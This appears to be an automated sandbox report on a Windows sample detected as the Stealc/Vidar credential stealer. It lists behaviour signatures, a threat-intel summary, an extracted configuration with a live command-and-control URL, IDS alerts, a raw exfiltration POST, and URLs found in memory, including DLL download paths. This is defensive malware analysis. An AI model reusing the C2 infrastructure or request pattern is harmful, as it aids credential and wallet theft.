Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1523120
MD5:	dd529f774ea232f4da3934f9ea885ae1
SHA1:	c85976533e55d0ac55b1035bba7f2b6aab205c5e
SHA256:	968c80a2bd0481681bb6674ab957e9b1d15eb2992f62592a6946c79c1512c5fa
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7136 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DD529F774EA232F4DA3934F9EA885AE1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1861403334.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1681670041.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1861403334.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7136	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7136	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7136	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7136	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.ec0000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T06:03:03.102892+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T06:03:03.011046+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T06:03:03.317551+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T06:03:04.294103+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T06:03:03.324345+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T06:03:02.658881+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T06:03:04.769545+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-01T06:03:09.912536+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-01T06:03:11.006619+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-01T06:03:11.611802+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-01T06:03:12.139109+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-01T06:03:13.759053+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-01T06:03:14.141025+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 42 33 46 45 39 44 37 32 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="hwid"FCB3FE9D726E2371543510------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="build"doma------CGIDGCGIEGDGDGDGHJKK--

Source: file.exe, 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1861403334.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1861403334.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllAE
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllO
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllo
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll-
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861403334.0000000000AC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll3
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll7
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dlle
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllk
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861403334.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dllC
Source: file.exe, 00000000.00000002.1861403334.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.1861403334.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/1
Source: file.exe, 00000000.00000002.1861403334.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1861403334.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php;Cl
Source: file.exe, 00000000.00000002.1861403334.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpCoinomi
Source: file.exe, 00000000.00000002.1861403334.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpFBAFIDAEBFHJKJEBF
Source: file.exe, 00000000.00000002.1861403334.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpFirefox
Source: file.exe, 00000000.00000002.1861403334.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpR
Source: file.exe, 00000000.00000002.1861403334.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpT=V
Source: file.exe, 00000000.00000002.1861403334.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpWiy
Source: file.exe, 00000000.00000002.1861403334.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpa
Source: file.exe, 00000000.00000002.1861403334.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpe
Source: file.exe, 00000000.00000002.1861403334.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpes
Source: file.exe, 00000000.00000002.1861403334.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpfr
Source: file.exe, 00000000.00000002.1861403334.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpicO
Source: file.exe, 00000000.00000002.1861403334.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpnt
Source: file.exe, 00000000.00000002.1861403334.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpser
Source: file.exe, 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phption:
Source: file.exe, 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: file.exe, 00000000.00000002.1861403334.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37nAEJ3o
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.1888622144.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1874291099.000000001D3C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1888258629.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecop
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecopnacl
Source: file.exe, 00000000.00000002.1885130640.0000000029353000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, KJKFBAFIDAEBFHJKJEBF.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.1885130640.0000000029353000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, KJKFBAFIDAEBFHJKJEBF.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.1885130640.0000000029353000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, KJKFBAFIDAEBFHJKJEBF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.1885130640.0000000029353000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, KJKFBAFIDAEBFHJKJEBF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: KJKFBAFIDAEBFHJKJEBF.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: IIECFHDBAAECAAKFHDHIIJKFHJ.0.dr	String found in binary or memory: https://support.mozilla.org
Source: IIECFHDBAAECAAKFHDHIIJKFHJ.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IIECFHDBAAECAAKFHDHIIJKFHJ.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000003.1753117743.000000001D2CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1753117743.000000001D2CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.1885130640.0000000029353000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, KJKFBAFIDAEBFHJKJEBF.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.1885130640.0000000029353000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, KJKFBAFIDAEBFHJKJEBF.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: IIECFHDBAAECAAKFHDHIIJKFHJ.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: IIECFHDBAAECAAKFHDHIIJKFHJ.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: IIECFHDBAAECAAKFHDHIIJKFHJ.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/024
Source: file.exe, 00000000.00000003.1834922301.0000000029591000.00000004.00000020.00020000.00000000.sdmp, IIECFHDBAAECAAKFHDHIIJKFHJ.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
